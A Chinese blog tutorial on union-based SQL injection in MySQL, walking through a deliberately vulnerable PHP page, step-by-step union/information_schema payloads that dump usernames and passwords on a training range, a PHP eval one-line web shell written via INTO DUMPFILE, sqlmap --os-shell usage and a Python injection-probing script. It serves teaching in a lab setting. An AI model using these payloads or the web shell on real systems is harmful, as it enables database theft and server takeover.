SQL显错(union)注入基础深度剖析(原理)

4 篇文章 0 订阅
1 篇文章 0 订阅

目录

 

前言

正文

0x01 . 什么是sql注入?

0x02. SQL注入原理

sql注入源码分析(理解原理与形成)

0x03. 进行SQL注入前,必须掌握的知识

1)这里我引用下那本书的 MySQL查询语句

2). mysql 5.0 版本之后的必知常识

0x04. SQL注入语句与步骤剖析

第一步,判断是否存在SQL注入

第二步:判断字段

第三步:判断回显点 || 查看数据库名

第四步 :查询表名

第五步. 查询字段名

第六步:查询数据

0x05. SQL注入扩展

1)group_concat()函数

2)limit 使用

3)关于SQL写文件(写shell)

关于sqlmap如何注入,以及写文件

0x06. 如何使用python 写SQL注入的poc

 

文末:


前言

我写了一篇php就觉得好麻烦咳咳,可以去看一下慕课网的php3小时入门,然后搭配菜鸟教程学习。如果需要深入学习

的话,推荐去看 php从入门到精通。我也好久没更新了,因为我最近用python写些小东西,嘿嘿~

我也就开始直接写了。推荐书籍的话,我推荐  《web安全攻防渗透测试实战指南》《白帽子讲web安全》《web安全深度剖析》

我也经常看这几本书

 

正文

0x01 . 什么是sql注入?

sql注入  指 web应用程序没有对用户输入的数据进行判断,导致前端传入后端的参数

可以被攻击者所控制,并且带入数据库执行

$sql = "SELECT * FROM users where id = $GET['id']";

因为这里的参数,id可以可以控制,所以会被攻击者进行拼接sql语句注入

区别就是有,黑客是在前台访问数据库内容

管理员是在后台访问数据库内容

 

0x02. SQL注入原理

 

看上面的图就可以知道,产生sql注入的两个条件

1. 用户可以控制参数的输入

2.原本程序要执行的代码,拼接了用户输入的数据

有看我前面写的那一篇http协议基础,就知道什么是参数了

sql注入源码分析(理解原理与形成)

<?php 
$con = mysqli_connect("127.0.0.1","root","root","test"); 
if (mysqli_connect_errno())   				
{
    echo "连接失败:".mysqli_connect_error();          
}
$id = $_GET['id'];							 
$result = mysqli_query($con,"select * from user where id=$id"); 
                                             
$row = mysqli_fetch_array($result);			 
echo $row['username']. " : " .$row['address'];
echo "<br>";
?>

标准的php表达式

然后就是 一些函数

1. mysqli_connect() :检查数据库的连接,第一个是地址,我是本地搭建的,所以是127.0.0.1,也可以写localhost,然后就                                               是账号,密码,和数据库

2. mysql_connect_errno() :  返回上一次连接错误的错误代码。

3. mysqli_connect_error() : 返回一个描述错误的字符串。如果没有错误发生则返回 NULL

我们故意输入错误的账号看一下,会发生什么事

可以看出这里报错,说第二行出现错误,然后我们就可以判断可能是 地址,或者是账号密码,或者是数据库

4. $id = $_GET['id'];    传参为id,http://192.168.209.138/test/union_sql.php?id=1 也就是这个 ?id=1

                                      如果想改变的成p的话,就改为 $uid = $_GET['p']  就可以了,至于前面的变量随意命名就好

5. $result = mysqli_query($con,"select * from user where id=$id");

  1)mysqli_query()    是针对某个数据库的查询语句

接下来就是MySQL数据库的查询语句,mysqli_query($con,"select * from user where id=$id")

首先是 mysqli_query() 函数,来连接我们的数据库, $con 就是上面的一个数据库连接的变量。我们连接进了test这个数据库

然后再 去执行后面的SQL语句(不懂的可以看我前面文章)

首先查询 user这个表中的数据。然后 id=$id,这里是使用了双引号,所以这里的变量id是生效的,也就是说,我们可以从这里去

拼接进SQL 语句,也就是 sql 注入的形成与产生。符合了2个条件。1.用户可以控制传参  2.拼接了原本程序要执行的语句

 

然后下面那个函数我就不说了,返回数组

 

0x03. 进行SQL注入前,必须掌握的知识

1)这里我引用下那本书的 MySQL查询语句

(学习嘛,就要四处借鉴。理解别人是怎么看待,取其精魄)

1. 在不知道任何条件时,查询语句:

select 要查询的字段 from 库名.表名

2. 知道一条已知条件:

select 要查询的字段 from 库名.表名 where 已知的字段名='已知的值'

3. 知道两条已知条件

select 要查询的字段 from 库名.表名 where 已知条件1的字段名='已知条件的值1' and 已知条件2的字段='已知条件2的值'

 

2). mysql 5.0 版本之后的必知常识

自带数据库:   information_schema  

 

库中的表 :    SCHEMATA,TABLES,COLUMNS

SCHEMATA表的作用:记录了 用户创建的所有库名,在 SCHEMA_NAME 这个字段下面

TABLES 表的作用:记录了所有用户创建的库名,和表名

库名存储于 tables表中的 table_schema字段中

表名存储于 tables 表中的table_name 这个字段当中

COLUMNS表的作用:存储库名 ,表名,字段名

通过有上角,我们指定搜索,显得更直观

table_schema : 存储 数据库名

table_name :存储表名

column_name :  存储字段名

 

0x04. SQL注入语句与步骤剖析

第一步,判断是否存在SQL注入

进入靶场 掌控安全靶场

http://59.63.200.79:8003/?id=1

and -50=-50 判断页面是否正常

and -50=-49 判断页面是否错误

初步判断,然后再使用单引号或者双引号判断

 

第二步:判断字段

http://59.63.200.79:8003/?id=1 order by 1-- qwe
http://59.63.200.79:8003/?id=1 order by 2-- qwe
http://59.63.200.79:8003/?id=1 order by 3-- qwe
http://59.63.200.79:8003/?id=1 order by 4-- qwe

当我们判断时,发现排序到4的时候报错了,说明这个网站有3个字段

然而拼接了sql语句,传进去的就是这么一个内容

也就是3个字段,分别为 id,username,password

因为网址不是数据库,无法查看到数据库信息。所以我们得这样排序一下,看下有几个字段,然后再判断回显点

 

第三步:判断回显点 || 查看数据库名

然后就会使用到数据库的查询语句,这时候会发现,咋一点反应都没有!

这其实是正常的,要想要有回显点,要使前面的语句错误才可以

然后我发现没有回显点,我用本地搭建的试试~

也是一样的

这时候 and -50=-49 或者 1=2都可以

这时候就发现有回显点了,在2的那个位置

这时候在使用函数 database() 看下数据库名称,我们要在回显点地方才会显示

共3个常用函数

database() : 查看当前网站使用的数据库名称

version()  :当前sql数据库的版本

user()   :当前mysql的用户

 

 

第四步 :查询表名

这里我们已经知道库名,是 test

也就是我们 有一个已知条件了

select 要查询的字段 from 库名.表名 where 已知的字段名='已知的值'

于是我们就可以查询表了

http://192.168.209.138/test/union_sql.php?id=1 and -1=-2 
union select 1,table_name,3 from information_schema.tables where table_schema='test' limit 0,1-- qww

发现是user表,那就没错了,这里我们深度的去理解一下SQL注入的语句。

table_name 是存储于 表名的(也就是我们要查询当前test库中的 表)

然后是固定格式,from 库.表(这里有个点,是连接符的意思

information_schema 是系统自带库

然后再点 tables。这个tables表,就是information_schema里面的那个tables

TABLES 表的作用:记录了所有用户创建的库名,和表名

table_schema字段 : 存储库名

table_name字段 : 存储表名

然后就是 where 已知字段名='已知的值'

where table_schema='test'

就是查询table_schema这个字段中,的一个叫做test表名

意思就是

联合查询 table_name 这个表中的内容,来自 information_schema这个系统自带库中的,tables表。当 table_schema 这个字段等于test库。

(看下面这张图。我们就理解了。我们查询table_schema字段里面的这个表名名,

来自哪里?查哪个表?

来自 test这个库,里面的表,如果有2个表的话,也可以使用 limit 1,1 。再把第二表排序出来)

于是我画了张图,然后再参照下语句。这样更直观

union select 1,table_name,3 from information_schema.tables where table_schema='test' limit 0,1

 

第五步. 查询字段名

依旧把上面的图片复制下来

union select 1,column_name,3 from information_schema.columns where table_schema='test' and table_name='user' limit 0,1

!!这里我才发现我打错字了, 应该是 column_name 没有加s)

然而这里图片说的可能有点绕。意思就是 test库中的user表中的字段。(语文不好~)

意思是:

联合查询 字段名 来自 information_schema中的columns这个表 ,当数据库名为 test,表名为user

我发现这样写好像更通畅哈,其实并不难。英汉互译一下,就知道这些单词的意思了~~~~

于是如图

然后我们使用limit 1,1排序。跟编程中的索引差不多。都是从0开始,我们就 1,1

就显示出了第二个字段

limit 2,1 就显示出了第三个字段

这里我们就知道,总共有三个字段

分别为  id ,username,password

这里我们就可以查询数据了

第六步:查询数据

这里注意,我们要把查询的内容写到 2 的这个回显点这边才行,不然无法显示(这里我就不演示了哈)

我们得到了,username为admin

http://192.168.209.138/test/union_sql.php?id=1 and -1=-2 
union select 1,password,3 from user limit 0,1

然后我们再看下password,发现是  admin123

 

这时候我们再去虚拟机看下数据库

发现没错,但是想要第二条的信息咋办?

union select 1,username,3 from user limit 1,1
union select 1,password,3 from user limit 1,1

我们修改下limit就可以查看了。

这就是SQL注入全过程啦

 

0x05. SQL注入扩展

1)group_concat()函数

其实呢,还有一个函数 是 group_concat()

是可以一次性的将数据全部显示出来,但是有些数据库有限制。所以我们才用limit

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='test' and table_name='user' limit ,1

这样使用即可

2)limit 使用

limit的使用,看张图就可以知道了

 

3)关于SQL写文件(写shell)

需要满足2个条件:

① 知道绝对路径

② 用户拥有写入的权限

select '一句话' into outfile '路径'

select '一句话' into dumpfile '路径'

select '<?php eval($_POST[1]) ?>' into dumpfile  'C:\phpstudy\WWW\test\shell.php';

进入靶场

发现爆出了绝对路径,这时候我们就可以写了。因为这个地方和数据库有交互~~

然后就是按照这样的方式去写shell

关于sqlmap如何注入,以及写文件

1)如果是get 型注入,直接,sqlmap -u "诸如点网址".
2) 如果是post型诸如点,      可以sqlmap -u "注入点网址” --data="post的参数"
3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,

放到文件里,然后sqlmap -r "文件地址"

如何写?

sqlmap.py "http://192.168.209.138/test/union_sql.php?id=1 " --is-dba

可以先使用 --is-dba 判断是否存在权限

然后使用 --os-shell 来进行写shell

 

0x06. 如何使用python 写SQL注入的poc

什么是poc,poc就是验证漏洞的存在。比如dedecms存在sql注入,xxe漏洞等等,就可以写poc

这里我就直接使用我搭建的靶场来写

呃呃呃,我发觉写的似乎有点多,我直接贴源码出来吧

import requests
import time
from argparse import ArgumentParser


payload = ["%27","%22"]
arg = ArgumentParser(description="test.py -u http://www.xxxx.com/news?id=1")
arg.add_argument('-u', help='target URL', dest='urls', type=str)
url = arg.parse_args()

def poc():
    for payloads in payload:
        tg_host = url.urls + payloads
        test_1 = requests.get(tg_host)
        a = str(test_1.text)
        if 'mysql_fetch_row()' in a:
            if payloads == '%22':
                print('[+] The first stage test is successful!')
                print('[+] Url may be vulnerable!')
        if 'mysql_fetch_row()' not in a:
            if payloads == '%22':
                print("[-] Payload appears to have made a mistake, or there is no vul")


    tg_host = url.urls + "+and+-50%3d-50"
    scan_1 = requests.get(tg_host)
    scan_2 = requests.get(url.urls)
    text_1 = scan_1.content
    text_2 = scan_2.content
    if text_1 == text_2:
        print("[+] The second stage test is successful!")
        print('[+] URL may have vul, please check test!')
    else:
        print("[-] Payload appears to have made a mistake, or there is no vulnerability")
    print("[*] URL: %s"%url.urls)

if __name__=='__main__':
    start = time.time()
    poc()
    end = time.time()
    run_time = int(end - start)
    print('漏洞探测耗时:%ss' % run_time)

 

如何就妥妥了,我比较懒哈,自己看。

我具体的文章讲解发到了 我们ghostwolf团队官网那边点击这里跳转

不过似乎还没上传,不过可以关注一下。如何我也发到了掌控社区那边,点这里跳转~~~

 

 

文末:

说实话,跟女朋友打打游戏,打打电话,就花了好长。虽然看起来不长,这个东西还是偷懒一下下

关于poc编写我只是分享个思路,本文仅仅是写一写,玩一玩。不要用在非法途径。因为前段时间也有人问我

源码无法搭建成功,咳咳。

然后就是,如果觉得我菜的话,轻点喷哈,我年纪小,心脏小,撑不住暴力。我怕留下心理阴影

(本来想发表情包的,似乎发不上去)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值